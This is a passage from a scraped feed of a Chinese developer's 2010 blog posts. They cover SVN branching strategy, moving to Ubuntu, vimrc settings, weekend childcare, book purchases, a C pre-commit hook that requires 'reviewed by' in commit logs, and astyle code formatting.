Branch”\n——- Rel_1.0.0(Tag)\n|\n—–rel_branch_1.0 —————————-\u0026gt;\n|\n—————————————————————\u0026gt; trunk\n如上图所示，在leader宣布feature#1~#3基本OK时创建了一个分支rel_branch_1.0，一组人将转移到这个分支上开发，另外一组将继续在thunk上开发后续features。QA对rel_branch_1.0进行严酷的测试，测试完毕后打Tag发布Rel_1.0.0正式版本。也就是说发布版是基于Branch的，且该branch会与trunk长时间并行开发一段时间（甚至可能很长），并得到足够支持。比如后续在trunk上或其他分支上发现的bug需要merge到该分支上，并在适当时刻发布补丁版本，比如Rel_1.0.1等。甚至可继续在此分支上继续增加新Feature，形成1.1.0等发布版本。\n2、创建”特性分支，Feature Branch”\n———Feature_branch_2.0 ——-\n| |\n—————————————————————\u0026gt; trunk\n|\n——- Rel_1.0.0(Tag)\n特性分支与发布分支恰相反，如上图所示，一组人继续在trunk上fix bug，直到Rel_1.0.0版本发布;其他人建立一个Feature_branch_2.0的特性分支，在该分支上开发新Features，并定期从trunk上merge trunk上的bugfix。Feature_branch_2.0开发完毕后，将分支代码merge回trunk，之后QA对trunk的最新代码进行测试，直到完毕后发布Rel_2.0.0，此后Feature_branch_2.0这个特性分支已经不再需要，它的生命周期也到此为止，可删除之。\n两种类型分支如何选择呢？其实实际软件开发中两种类型分支是你中有我，我中有你的。如果从宏观来看，其实更多还要看你的产品的特点和规划，如果类似GCC这样的产品，“发布分支”必不可少。比如我曾用过的GCC的版本有2.95.x、3.2.x、3.3.x、3.4.x等，GCC对于每组[major,minor]都要有一个“发布分支”，至少是用来fix bug的，在3.2上发现的bug要同步回2.95，发布2.95新补丁，除非GNU宣布对GCC 2.95不再支持。如果一个产品的bugfix不需要回溯到以前的版本，而是一直采用trunk上的最新版本，那特性分支则更适合，这样也避免了在N多发布分支上频繁merge代码的情况了。但是特性分支不宜建多，最初我也考虑是否每人建立一个关于自己任务的分支，后来发现这样会给后期merge代码带来诸多不便。\n发布分支上如果要新增个性化feature，就好比发布分支变成了”trunk”，后期也可以采用feature分支的形式来开发，保持了”trunk”上代码的稳定、可用;当然如果不太在意这点，你大可直接在该”trunk”上直接开发。\n目前我所在的产品线采用的就是发布分支和特性分支结合的方式，不过产品的电信行业背景决定了产品需求多变、客户间需求差异较大，增加了我们的版本发布管理复杂性。单独在该分支上采用“特性分支”的开发流程已经不能满足需要了，因为我们有时候需要回溯到某个早期发布版上fix bug或增加feature，到了在发布分支上再建立发布分支的时候了。但为了减少后期分支数多、在各个分支上同步代码工作量大且较难跟踪管理的情况，我们采取了一些措施。比如我们目前采取的策略是尽量减少版本的个数、减少发布的次数(达到减少发布分支个数的目的)，将两个版本之间交付间隔拉长（版本多为我们自己策划），将不同客户的需求转化为产品的通用功能进行统一管理，减少因版本功能差异带来的版本管理上复杂性。当然了也不能少了与客户沟通和协调，说服客户接受将其提出的个性化功能纳入到某个大版本中统一发布。\n工具和概念都有了，一切还在于人的规划。简单和清晰是我们应该在版本规划、控制和管理中追求的目标，这样才易于理解、易于执行，减少不必要的工作，毕竟不是所有人都是这方面的专家。\n","permalink":"https://tonybai.com/2010/08/26/also-talk-about-branch/","summary":"\u003cp\u003e近期在为一个新项目作版本库规划，并策划一些即将应用于该项目的版本控制和发布流程的Rules。借此机会我也花上一些时间对我们之前的版本控制和发布流程进行一下反思，也翻看了一些书籍(比如《\u003ca href=\"http://book.douban.com/subject/2038779/\"\u003e版本控制之道-使用subversion\u003c/a\u003e》、社区自由图书《\u003ca href=\"http://svnbook.red-bean.com/\"\u003eSubversion与版本控制\u003c/a\u003e》等)，了解一下Best Practice是什么样子的，同时也纠正一下我之前理解不正确的地方。\u003c/p\u003e","title":"也谈使用分支"},{"content":"自从知道Ubuntu这个linux发行版后，就有了彻底迁移到Linux上的想法。但迫于各种各样的因素一直未能下定决心，这期间Ubuntu发行版已经从6.10进化到了10.04。经过长时间(近四年，时间长的的确有些夸张^_^)的准备，再借着Ubuntu 10.04 LTS发布的东风， 我终于下决心彻底走进Ubuntu的世界。\n安装Ubuntu对我来说已经是驾轻就熟的事情了，这里也没什么好说的。对我来说，迁移到Ubuntu的主要工作集中在：\n1、完成两个平台数据共享和迁移\n2、选择和安装用于替代Windows上常见应用的软件\nUbuntu在与Windows分区互操作方面作了很多工作，Ubuntu下打开Windows分区与访问Ubuntu分区基本没什么区别，无论是NTFS还是FAT32(vfat)分区，保存在Windows分区中的数据都可以直接被访问和使用。\n我平时使用最多的就是文本文件了，在Windows下使用GVIM或记事本打开;在Ubuntu下可继续使用GVIM(gedit已经被我卸载)。当然,VIM需要做一些字符集转换方面的设置才能保证对文件中的中文字符做正确的转换，具体如何配置可参考我的上一篇文章。\n平时工作中最常用的沟通方式就是Mail了，之前在Windows下使用Thunderbird收发Mail。当初之所以舍弃Outlook而转用Thunderbird也是为今天转移到Linux上工作做的准备，因为只有Thunderbird才能很好的支持在多个平台间共享数据，共享数据的配置方法可参考我去年写的一篇关于thunderbird的文章。\n之前在体验Ubuntu9.10时知道了iBus这个新输入法框架，当时的体验还不错，不过使用10.04后，发现Gvim/Vim和iBus有冲突，在Vim下Insert模式和Normal模式切换时iBus提词窗口总是自动退出，严重影响输入效率，后换成fcitx后冲突解决。\n公司的办公软件早在年初就都切换到OpenOffice 3.0上了，公司的所有模板、通启也都以OpenOffice的文件格式发布了，所以在日常文档编辑和数据交换方面不存在什么问题。不过对于Microsoft专有格式的Project和Visio我目前还没有找到合适的替代品。\n日常开发过程中，组内同事喜欢使用Feiq作为内部即时通信工具，可惜Feiq只有Windows版本，我曾经尝试用Wine 1.2去装载和运行Feiq，但都提示错误。无奈下，只能选择iptux。iptux采用的是以前飞鸽传书(ipmsg)的协议，只支持文字和文件传输，不支持在对话框中直接贴图。\n思维导图软件近几年很受大家欢迎，之前一直在使用MindManager。迁移到Ubuntu上后，急需找到一款MindManager的替代品，而且还必须可以打开MindManager格式的文件。XMind恰是我所需要的。测试了一下，使用习惯和界面布局与MindManager差不多，且导入MindManager的文件也很顺利。\ntortoriseSVN想必是每个使用svn作为代码版本控制工具的程序员必装的一款svn客户端软件，功能很强大，易用性也很好。不过在Ubuntu下可没有这么好的运气，也曾尝试过用Wine运行TortoriseSVN，但以失败告终。看见Ubuntu软件中心中有一款名为RapidSVN的工具，安装试用了一下，发现与TortoriseSVN差距很大，在没有找到更好的软件之前，先凑合用着。\nWindows优化大师之类的软件我是一概不会安装的，但在Ubuntu下，国人开源的一款工具Ubuntu Tweak值得支持一下。特别是对linux桌面和窗口配置还不是很熟悉的情况下。\n注重实效(pragmatic)的程序员都会在电脑里安装一款能帮助快速打开程序、快速定位文件的程序。Ubuntu下有Gnome Do，但是我更喜欢Launchy，之前在Windows上就用Launchy。现在发现Launchy也有Ubuntu版本，这样就不须重新学习了。\n公司的某些OA系统对Firefox的支持很差，于是我下载安装了Chromium Web Browser，这个浏览器的体验不错，而且上述问题也得到了解决。不过由于使用Firefox + Vimperator时间久了，习惯了用一个\u0026rsquo;d\u0026rsquo;关闭一个标签页的VIM化的快捷命令，我暂时只将Chromium作为备份浏览器使用。\n公司办公以台式机居多，这样在开会的时候我们会经常通过远程桌面访问到自己的PC上; Ubuntu内置远程桌面访问工具，而且可以命令行操作，rdesktop -f ip -u USER_NAME -p PASSWD即可直接进入你的PC桌面，就好比你在操作你自己的机器一样。你可以在.bashrc中用alias给上面命令串起个别名，这样只需敲入一串别名即可完成远程登录和操作了。\n上周安装Ubuntu 10.04.1后，曾经有一种删除本子上Win7的冲动，但后来还是将Win7保留了下来。因为还有一些操作是在Ubuntu下无法做到的，比如说招行专业版。另外国内很多知名站点（如中国网络电视台）对非IE浏览器的支持都不好，有些时候你还不得不使用IE。\nUbuntu 10.04总体来说还是很稳定的，不过在使用过程中也有一些小插曲，比如：XWindows曾两次提示重启，点击确定后，N长时间也无法回到GUI界面，无奈只能重启系统。再比如：Ubuntu接投影后，桌面只能显示出2/3区域，似乎是我安装的Docky出现了什么问题。关闭Docky后，一切OK。\n适应Ubuntu Linux的过程还在继续，希望过了磨合期后一切都会越来越好^_^。\n","permalink":"https://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/","summary":"\u003cp\u003e自从知道\u003ca href=\"http://tonybai.com/2006/01/23/got-the-ubuntu-disc/\"\u003eUbuntu\u003c/a\u003e这个linux发行版后，就有了彻底迁移到Linux上的想法。但迫于各种各样的因素一直未能下定决心，这期间Ubuntu发行版已经从6.10进化到了10.04。经过长时间(近四年，时间长的的确有些夸张^_^)的准备，再借着Ubuntu 10.04 LTS发布的东风， 我终于下决心彻底走进Ubuntu的世界。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://tonybai.com/2008/02/17/install-ubuntu-7-10-the-first-time/\"\u003e安装Ubuntu\u003c/a\u003e对我来说已经是驾轻就熟的事情了，这里也没什么好说的。对我来说，迁移到Ubuntu的主要工作集中在：\u003cbr\u003e\n1、完成两个平台数据共享和迁移\u003cbr\u003e\n2、选择和安装用于替代Windows上常见应用的软件\u003c/p\u003e","title":"彻底迁移到Ubuntu"},{"content":"这周五工作状态实在不好，也许是工作得有些疲劳的缘故。没有了心思工作，那莫不如利用这些时间读读书。在存储电子书的目录中左翻翻右看看，发现了那本久违了的中文版VIM手册，我决定索性打开温习一下，拣一拣那些已经生疏了的但却极其实用的命令。\n下班前400多页的手册居然被我走马观花的浏览完了，其间将遇到的觉得实用的且以前不知道的或不常用的命令记录了下来，一共有50多项，其中不乏令我大呼过瘾的能显著提升工作效率的命令^_^。\nVIM自从使用以来一直也未曾系统的挖掘过，之前在plugin上下过一些工夫，比如taglist,cscope等。特别是VIM的定制文件vimrc没有系统的整理过，这次重温VIM手册，让我有了重新定制VIM的想法。\n定制VIM，即编制适合你自己的.vimrc文件，这个文件不需要你一切都从头开始，网上流传着很多极具参考价值的资料，比如说比较出名的被网友戏称为\u0026quot;史上最强vim配置文件\u0026quot;的amix vimrc，你完全可以照猫画虎的全部搬过来直接使用，但最好是认真读一读其中的内容，了解每一项配置背后的原理，不懂的就对比一下manual，这样印象也深刻些。\n我重新定制的vimrc基本上就是对amix vimrc的裁剪，所以这里也没什么值得列出来的内容。不过对其中的一些配置我倒想在这里说道说道：\n1、的使用\n在定义映射时，可使用标识,这类似一个trick，在映射转换时被变量mapleader的值替换掉。mapleader是一个特殊变量，如果mapleader没有被显示赋值，其值默认为\u0026rsquo;\\\u0026rsquo;；\n如: nmap w :w!这个键映射，如果之前没有显式给mapleader变量赋值，那么在normal模式下，敲入\u0026rsquo;\\w\u0026rsquo;即是执行将当前更新写入文件。如果之前设定let mapleader = \u0026ldquo;,\u0026quot;，那保存文件的命令就变成了\u0026rsquo;,w\u0026rsquo;。\n2、vimrc更新自动生效\nautocmd bufwritepost *vimrc* source ~/.vimrc\n这是一个比较实用的配置，可让你即时看到修改配置后的效果，比如修改colorscheme。\n3、编码选项的设定\n公司的服务器环境设定的内码都是GBK，这样我们的代码源文件的内码也就都是GBK；但是Ubuntu默认内码是UTF-8，如果不做任何设置用VIM打开这些文件，势必会导致文件中的中文字符显示为乱码。关于VIM字符编码的问题曾经在一篇文章中分析过,这里不再细说。用下面的设置可以解决上面提到的问题：\n\u0026quot; 自动识别文件的编码格式, 打开已有文件时起作用\nset fileencodings=GBK,UTF-8,gb18030,ucs-bom,cp936\n\u0026quot; 标识源文件中的数据的内码格式\nset fileencoding=GBK\n\u0026quot; 标识vim buffer中的数据编码格式\nset encoding=UTF-8\n这样配置有一个小问题就是对于新建的文件强制设定了采用GBK的内码。\n4、比较实用的设置\nmap / \u0026ldquo;NORMAL模式下这个命令用起来很舒服\n以下是在visual模式下自动对块文字区域加（），{}，[]等的命令\nvnoremap $1 `\u0026gt;a)`\u0026lt;i(\nvnoremap $2 `\u0026gt;a]`\u0026lt;i[\nvnoremap $3 `\u0026gt;a}`\u0026lt;i{\nvnoremap $$ `\u0026gt;a\u0026rdquo;`\u0026lt;i\u0026rdquo;\nvnoremap $q `\u0026gt;a\u0026rsquo;`\u0026lt;i\u0026rsquo;\nvnoremap $e `\u0026gt;a\u0026quot;`\u0026lt;i\u0026quot;\nsource $VIMRUNTIME/ftplugin/man.vim \u0026ldquo;将光标停留在你想查Manual的Word上，normal模式下敲入\u0026rsquo;\\K\u0026rsquo;即可自动查找这个word的Manual。\nVIM太强大，里面存在太多的技巧和奇妙的命令，VIM manual也是常看常新，Ubuntu里的其他编辑器已经都让我卸载了，以让自己更加专注于VIM^_^。\n","permalink":"https://tonybai.com/2010/08/22/reconfigure-vim/","summary":"\u003cp\u003e这周五工作状态实在不好，也许是工作得有些疲劳的缘故。没有了心思工作，那莫不如利用这些时间读读书。在存储电子书的目录中左翻翻右看看，发现了那本久违了的\u003ca href=\"http://vimdoc.sourceforge.net/\"\u003e中文版VIM手册\u003c/a\u003e，我决定索性打开温习一下，拣一拣那些已经生疏了的但却极其实用的命令。\u003c/p\u003e","title":"重新定制VIM"},{"content":"果果出生后我一直都沉浸在当爸爸的快乐当中。之前果果还小，每天基本上就是吃奶和睡觉，LP和岳母两人足以应付得来，基本不需要我插手，以至于我在果果快两个月的时候还没正经儿抱过她，在她快三个月的时候我还没用过奶瓶给果果喂过奶；甚至如何给果果垫尿布都不会。\n但是随着果果的成长，果果精力越来越充沛了，白天睡的也少了，每觉也就睡上1个小时，剩下时间就都得有人看护，LP和岳母这时候就有些应付不来了，我这个“局外人”开始发挥作用，特别是周末休息的时候，我就成了全职奶爸，也好让LP和岳母好好休息一下，缓解一下每天“紧绷”的神经（有些夸张^_^），恢复一下体力。\n现在我几乎将双休日都贡献给了果果。从早上睁开眼睛，所有活动就都围绕果果展开。首先是清洁果果的生活环境-打扫一下室内卫生，作为家里的唯一男人，做点苦力也算不得什么^_^。一般在早上六点多，果果就会醒来，这时离喂奶时间还有一个小时，这一小时就由我负责看护果果(LP半夜喂果果、哄果果比较累，我让她多睡会儿^_^)。果果两个月刚过就学会了翻身，当时看到果果会翻身，我们还都很兴奋，但现在可再也兴奋不起来了。果果一醒来，身边就要有人防止她因翻身而出现一些意外，另外也要防止她翻出尿布的保护范围^_^，这个活儿听起来轻巧，但是做起来却要足够的耐心。\n早晨七点吃完奶，一般果果是不会睡觉的，我们给果果安排了音乐欣赏，果果还在LP肚子里的时候，我们每天就让她听音乐，什么钢琴曲、交响乐，后期听班得瑞较多（因为我和LP也爱听）。现在除了给她听一些曲子，还要听几段童谣或儿童歌曲。\n听完歌曲，开始让果果看大卡，什么0岁卡、识图卡、数字卡都要过上一遍，边让她看边给她做讲解，让果果看到我的动作、听到我的声音。看大卡时间不能太长，否则果果注意力在后期就不那么集中了。这时我们就要换节目，开始做游戏，锻炼一下果果的四肢运动能力，书里的游戏很多，但我多记不住，我就自编自演，经典的比如逗逗飞，除了用手做，我还教果果用脚去做；另外“一二一，齐步走”等果果都还喜欢。果果喜欢被竖着抱着在屋里转来转去，果果在家里最喜欢看三样东西：我的书架、我和LP结婚时贴在门口穿衣镜上的红喜字以及我家的花窗帘。一般果果哭闹时，只要把她抱到这三者之一前面，果果的哭声立刻就会停止下来。\n八点半到九点半间，比较适合婴儿到户外运动，果果每天都要出去转转，认识大自然，晒晒太阳，促进钙吸收。平时工作日都是岳母带果果出去，周末则轮到我。我一般是先将果果放在车里，绕着小区转上两圈，由于在车里，果果的视野有局限，不能完全看到蓝天、绿树、鲜花和流水，而且无法较多的接收阳光的照射，所以我还要抱着果果在园区内散步一段时间，给她讲讲她看到的一切事物，到儿童乐园看看其他小哥哥小姐姐们的嬉戏打闹。从户外回来，果果会发困并开始烦躁的哭闹起来，这就是果果给我们的信号。她在告诉我们：“我困了，你们抱着我晃一会儿我就会睡着的”。就这样果果每次睡之前都要在大人怀里被催眠一会儿^_^。\n中午果果醒来，我们开始给果果洗澡。婴儿一般都是喜欢洗澡的。在澡盆里果果任意玩水，我和LP从上到下给她洗个干净，果果也很配合。澡后一遍奶过后，果果恢复了精神头，又开始在床上翻来覆去。我只能在身边陪着，有时候呢为了让她“冷静”下来就大声的手舞足蹈的给她讲故事，我是很不会讲故事的，也记不住几个故事，遂现编现卖，果果听的却很入神儿。几周下来，我也形成了几套固定的“段子”，比如“外星羊系列”^_^。\n下午时分是比较难熬的，特别是下午两点，大人也很犯困，有时候我就躺在床上和果果漫无边际的“胡侃”，有时候自己却先睡着了，醒来才发现果果居然也在旁边甜甜的入睡了，我也就索性继续睡，恢复体力。\n下午四点左右照旧要带着果果出去散步，时长一小时左右。晚饭后，果果还要洗一次热水澡，并补充一次能量。果果晚上入睡一般在7点到9点间，大多数时间果果都能很顺利的入睡，但也有些时候果果很闹，弄得我们也很烦燥。果果夜间基本上就起来一次，喂奶后都能顺利入睡，但也有“夜闹”的时候，一旦“夜闹”，受难的就是我了^_^。\n能在电脑前完成这篇文章，说明果果已经入睡了！不养儿真不知父母有多累啊！\n","permalink":"https://tonybai.com/2010/08/15/fulltime-daddy-daycare-at-weekends/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2010/05/11/now-i-am-a-father/\"\u003e果果出生\u003c/a\u003e后我一直都沉浸在当爸爸的快乐当中。之前果果还小，每天基本上就是吃奶和睡觉，LP和岳母两人足以应付得来，基本不需要我插手，以至于我在果果快两个月的时候还没正经儿抱过她，在她快三个月的时候我还没用过奶瓶给果果喂过奶；甚至如何给果果垫尿布都不会。\u003c/p\u003e\n\u003cp\u003e但是随着\u003ca href=\"http://tonybai.com/2010/06/10/celebrate-the-first-month-of-my-daughter/\"\u003e果果的成长\u003c/a\u003e，果果精力越来越充沛了，白天睡的也少了，每觉也就睡上1个小时，剩下时间就都得有人看护，LP和岳母这时候就有些应付不来了，我这个“局外人”开始发挥作用，特别是周末休息的时候，我就成了全职奶爸，也好让LP和岳母好好休息一下，缓解一下每天“紧绷”的神经（有些夸张^_^），恢复一下体力。\u003c/p\u003e\n\u003cp\u003e现在我几乎将双休日都贡献给了果果。从早上睁开眼睛，所有活动就都围绕果果展开。首先是清洁果果的生活环境-打扫一下室内卫生，作为家里的唯一男人，做点苦力也算不得什么^_^。一般在早上六点多，果果就会醒来，这时离喂奶时间还有一个小时，这一小时就由我负责看护果果(LP半夜喂果果、哄果果比较累，我让她多睡会儿^_^)。果果两个月刚过就\u003ca href=\"http://tonybai.com/2010/07/24/my-daughter-can-turn-over-in-bed/\"\u003e学会了翻身\u003c/a\u003e，当时看到果果会翻身，我们还都很兴奋，但现在可再也兴奋不起来了。果果一醒来，身边就要有人防止她因翻身而出现一些意外，另外也要防止她翻出尿布的保护范围^_^，这个活儿听起来轻巧，但是做起来却要足够的耐心。\u003c/p\u003e","title":"周末全职奶爸"},{"content":"刚刚在China-pub下了订单，买了三本口碑都不错的技术类书籍。之所以在China-pub买，这得益于豆瓣的购书单功能，经过购书单的比价发现China-pub的总价格最实惠。另外这笔交易成交后，我在China-pub的会员级别也将升到三星，到时候就有资格“淘二手书”了。\n三本书中名气最大的应属Andrew Hunt和David Thomas于十年前合著的《程序员修炼之道》了，这本书的电子书我看过多遍，今天把它放入订单都因我有收藏经典图书之癖好（很多爱读书的程序员都有此癖好^_^）。《高效程序员的45个习惯》是Andrew Hunt参与编写的又一新作，豆瓣口碑不错，想必内容应该不赖，这次顺便也收来瞧瞧！最后一本是《软件架构师应该知道的97件事》，这是一本关于架构技术和最佳实践的小品文合集，由世界各地的知名架构师在网络上共同创作完成，并由Oreilly编撰出版。由于今年想在软件架构方面投入一些精力，这本书应该算是一本不错的参考资料。\n这一周甚是忙碌。上个产品版本的系统测试已接近尾声，而新版本也正在做发布前的最后准备工作，进度和质量都要保证，遂不能放松。除了新版本外，这周还发现了一个遗留系统的BUG，这个BUG潜伏时间之长是前所未有的。BUG的成因是因为当初某位同事在编写校验逻辑时忘记做字节序转换了，导致那么一行校验逻辑会按“时间随机”过滤掉一些记录。为了找出这个BUG，着实花掉我们不少时间；由此可见维护遗留系统时真要带上十二分小心，里面可能深藏着许多意想不到的“陷阱”。\n再说说果果，这周果果过了百天，体重达14.5斤，身长达65厘米，发育水平处于中上等。另外果果持续两周多的腹泻症状也消失了（思密达和调节肠胃的活性菌片都不管用，后来干脆停药，停药后三天果果居然就不拉稀了）。小家伙这几天恢复了体力，也恢复了活力，不过晚上可是累坏了我和LP。\n已经定好下周一带着宝宝去拍百日照，留个纪念。到时候再顺便拍个“全家福”，这可是第一次哦！\n","permalink":"https://tonybai.com/2010/08/13/some-trifles-of-this-week/","summary":"\u003cp\u003e刚刚在\u003ca href=\"http://www.china-pub.com/\"\u003eChina-pub\u003c/a\u003e下了订单，买了三本口碑都不错的技术类书籍。之所以在China-pub买，这得益于\u003ca href=\"http://www.douban.com/\"\u003e豆瓣\u003c/a\u003e的\u003ca href=\"http://book.douban.com/cart\"\u003e购书单\u003c/a\u003e功能，经过购书单的比价发现China-pub的总价格最实惠。另外这笔交易成交后，我在China-pub的会员级别也将升到三星，到时候就有资格“\u003ca href=\"http://tonybai.com/2009/04/21/buy-second-hand-books-on-the-internet/\"\u003e淘二手书\u003c/a\u003e”了。\u003c/p\u003e\n\u003cp\u003e三本书中名气最大的应属Andrew Hunt和David Thomas于十年前合著的《\u003ca href=\"http://book.douban.com/subject/1152111/\"\u003e程序员修炼之道\u003c/a\u003e》了，这本书的电子书我看过多遍，今天把它放入订单都因我有收藏经典图书之癖好（很多爱读书的程序员都有此癖好^_^）。《\u003ca href=\"http://book.douban.com/subject/4164024/\"\u003e高效程序员的45个习惯\u003c/a\u003e》是Andrew Hunt参与编写的又一新作，豆瓣口碑不错，想必内容应该不赖，这次顺便也收来瞧瞧！最后一本是《\u003ca href=\"http://book.douban.com/subject/4745287/\"\u003e软件架构师应该知道的97件事\u003c/a\u003e》，这是一本关于架构技术和最佳实践的小品文合集，由世界各地的知名架构师在网络上共同创作完成，并由Oreilly编撰出版。由于今年想在软件架构方面投入一些精力，这本书应该算是一本不错的参考资料。\u003c/p\u003e","title":"一周琐事"},{"content":"一直以来我们对项目代码的提交管理都是粗放型的，即对大家提交代码的时间、频率和提交日志的形式都没有严格的要求，可谓比较随意。主要发现的问题包括：\n- 某些提交没有规划，甚至随意增加一些并无太大意义的注释都作一次提交。\n- 提交的代码甚至没有经过REVIEW和UT，这样的代码即使内部发布，也会带来后续工作量的严重浪费（测试、发现问题、定位问题、重新fix、重新验证等）；\n- 提交日志无实际意义，如commit log为空、commit log没能真实反映出这次提交的真实目的和意义、多次提交却采用同一条提交日志等等；\n… …\n以上，有些问题是需要通过过程要求改善的，有些问题则可以通过技术手段引导大家去完成，比如对commit log的校验。从Tim的博客中了解到twiiter内部对每次commit的log都做严格要求，至少必须填写此次代码变动的代码评审人。这个idea很好！这样开发人员每次尝试提交代码时都要想着填写reviewed by xxx。xxx是要对这次提交代码的质量负责任的；绝对禁止提交代码者随意填写上一个并未真实review其代码的人的名字。\n使用SVN来进行代码版本控制工具的项目可采用svn pre-commit hook来实现对commit log的检查。在SVN服务器侧你的项目repos下有一个hook目录，该目录下存放着一些hook的模板（以.tmpl为后缀名）。各个hook模板中都有对该类型hook的说明，甚至还包括一段代码样例。如果你想使该hook启用，需要将xxx.tmpl改名为xxx，这样你再提交代码时，hook就会被svn server端自动调用。svn的hook其实就可以理解为一个可执行的文件，你可用各种语言（如shell脚本、C、Java、Python、Ruby等）实现hook。svn server端在调用hook时，会按照规定次序给hook传入N个确定含义的命令行参数供hook的实现使用。以pre-commit hook为例，svn server会依次传入REPOS和TXN；其中REPOS存储的是项目repository的路径信息；TXN则是此次提交的一个事务号名称。hook实现的返回值将作为svn server判断是否继续此次提交事务的依据：如果返回0，则svn server继续此次提交事务，否则svn server停止此次提交，并将hook实现中输出到标准错误的信息回送到客户端以作为错误提示。\n下面是一个用C语言实现的pre-commit hook的简单例子：\n/* pre-commit.c */\n/* gcc -o pre-commit pre-commit.c */\nint main(int argc, char *argv[]) {\nchar repos[PATH_MAX];\nchar txn[64];\nmemset(repos, 0, sizeof(repos));\nmemset(txn, 0, sizeof(txn));\nstrcpy(repos, argv[1]);\nstrcpy(txn, argv[2]);\n/* 只对repos下的特定路径下的文件ci进行log检查 */\nif (!filter_repos_subdir(txn, repos)) {\nreturn check_log(txn, repos);\n}\nreturn 0;\n}\n对于一个repos，其下面有些folder中的文件可能并不一定是代码，可能不需要严格执行ci log格式的要求，filter_repos_subdir这个函数就旨在过滤此次提交的各个文件的路径信息：若判断出此次提交的文件路径均是不需要严格执行ci log格式要求的，则后续不作log check。\n通过repos和txn两个参数我们如何获取此次提交的文件路径信息呢？svn提供了svnlook工具，我们利用svnlook changed -t txn repos可以获取文件路径信息。\n#define SVNLOOK \u0026ldquo;/usr/local/bin/svnlook\u0026rdquo;\nint filter_repos_subdir(const char *txn, const char *repos) {\nFILE *fp;\nchar buf[PATH_MAX];\nchar cmd[PATH_MAX];\nmemset(cmd, 0, sizeof(cmd));\nmemset(buf, 0, sizeof(buf));\nsprintf(cmd, \u0026ldquo;%s changed -t %s %s\u0026rdquo;, SVNLOOK, txn, repos);\nfp = popen(cmd, \u0026ldquo;r\u0026rdquo;);\nif (fp == NULL) {\nfprintf(stderr, \u0026ldquo;%s\\n\u0026rdquo;, \u0026ldquo;popen failed\u0026rdquo;);\nreturn 1;\n}\nwhile (fgets(buf, PATH_MAX, fp) != NULL) {\nif ((strstr(buf, \u0026ldquo;dog/\u0026rdquo;) != NULL)\n|| (strstr(buf, \u0026ldquo;cat/\u0026rdquo;) != NULL)\n|| (strstr(buf, \u0026ldquo;tiger/\u0026rdquo;) != NULL) {\nmemset(buf, 0, sizeof(buf));\ncontinue;\n} else {\npclose(fp);\nreturn 1;\n}\n}\npclose(fp);\nreturn 0;\n}\nfilter_repos_subdir利用popen与shell交互获取svnlook执行后输出的信息，如：\nU dog/test1.c\nU cat/test2.c\nA tiger/test3.c\n并对多行信息逐一进行过滤。\ncheck_log与filter_repos_subdir类似，它通过svnlook log -t TXN REPOS获取此次提交的日志信息，并根据日志格式要求对日志进行校验，如发现不合格则返回失败；svn server将停止本次commit事务。\nint check_log(const char *txn, const char *repos) {\nFILE *fp;\nchar buf[PATH_MAX];\nchar cmd[PATH_MAX];\nmemset(cmd, 0, sizeof(cmd));\nmemset(buf, 0, sizeof(buf));\nsprintf(cmd, \u0026ldquo;%s log -t %s %s\u0026rdquo;, SVNLOOK, txn, repos);\nfp = popen(cmd, \u0026ldquo;r\u0026rdquo;);\nif (fp == NULL) {\nfprintf(stderr, \u0026ldquo;%s\\n\u0026rdquo;, \u0026ldquo;popen failed\u0026rdquo;);\nreturn 1;\n}\nwhile (fgets(buf, PATH_MAX, fp) != NULL) {\nif (strstr(buf, \u0026ldquo;reviewed by\u0026rdquo;)) {\npclose(fp);\nreturn 0;\n}\nmemset(buf, 0, sizeof(buf));\n}\nfprintf(stderr, \u0026ldquo;%s\\n\u0026rdquo;, \u0026ldquo;请填写此次提交代码的reviewer, log格式:… reviewed by xxx …\u0026rdquo;);\npclose(fp);\nreturn 1;\n}\n以上这个pre-commit hook demo只是为了说明hook的实现思路，如果你要打造自己的pre-commit hook可能还需要更严谨一些，另外还可加上更多有创意性的idea在里面！其他类型hook的实现思路大致一样，详细内容请参考svn manual。\n","permalink":"https://tonybai.com/2010/08/07/use-svn-pre-commit-hook/","summary":"\u003cp\u003e一直以来我们对项目代码的提交管理都是粗放型的，即对大家提交代码的时间、频率和提交日志的形式都没有严格的要求，可谓比较随意。主要发现的问题包括：\u003cbr\u003e\n- 某些提交没有规划，甚至随意增加一些并无太大意义的注释都作一次提交。\u003cbr\u003e\n- 提交的代码甚至没有经过REVIEW和UT，这样的代码即使内部发布，也会带来后续工作量的严重浪费（测试、发现问题、定位问题、重新fix、重新验证等）；\u003cbr\u003e\n- 提交日志无实际意义，如commit log为空、commit log没能真实反映出这次提交的真实目的和意义、多次提交却采用同一条提交日志等等；\u003cbr\u003e\n… …\u003c/p\u003e","title":"使用svn pre-commit hook"},{"content":"昨天一位同事发了一篇小文档，文档中介绍了一种开源格式化代码的工具，名为Artistic Style(astyle)，功能看起来还是很不错的。之前我写代码时比较注意代码的风格，一直按照自己的思路来美化自己的代码，用的最多的辅助工具就是Vim自带的indent功能，对这之外的格式化工具少有涉猎。记得几年前部门曾推广一款名为checkstyle的Java代码格式规范检查工具，由于当时基本不接触Java，也没有用过。\n今天被问及该工具是否可以在组内推广，遂又花心思想了一下。看了同事的介绍文档，感觉astyle还是很实用的，特别是对现存遗留的格式不规范的代码文件，可批量做转换(之前我都是修改哪个源文件时顺便对格式进行美化，浪费了我不少精力) 但是如何能被大家接受和使用起来，这还是一个问题。最开始想到的是让astyle与svn结合在一起，对开发人员保持透明。通过svn hooks来自动完成对代码的格式化。不过细致研究后发现，这样是有问题的。如果在svn server端增加svn pre-commit hook来调用astyle对提交的代码进行格式化，那么这势必可能导致开发人员提交后的server端代码与其Local copy不一致；如果开发人员不知情，后续就会导致进一步的代码不一致问题。另外在svn官方manual中似乎也不推荐在svn pre-commit hook中修改提交的文件内容，好像是会破坏svn commit事务（导致本地和服务器端的一些对文件的统计不一致）。又考虑在客户端svn hook，可查来查去才发现目前只有TortoiseSVN的实现支持客户端hook，遂放弃。\n让大家直接执行astyle，显然是高估了大家的执行力了。遂想到还是将astyle与Vim集成在一起吧。\n步骤如下：\n1、编译artistic style源码，将astyle的可执行程序放到某个目录X下，并将目录X放到path中（ubuntu上可用sudo apt-get install astyle安装）\n2、编辑.vimrc，添加一行map :%! astyle （Shift+F 注：在当前缓冲区用astyle美化缓冲区中的内容，并输出结果到当前缓冲区中）\n3、定义模板option文件，位置:$HOME/.astylerc\n以下是一个.astylerc的例子：\n# my astyle options 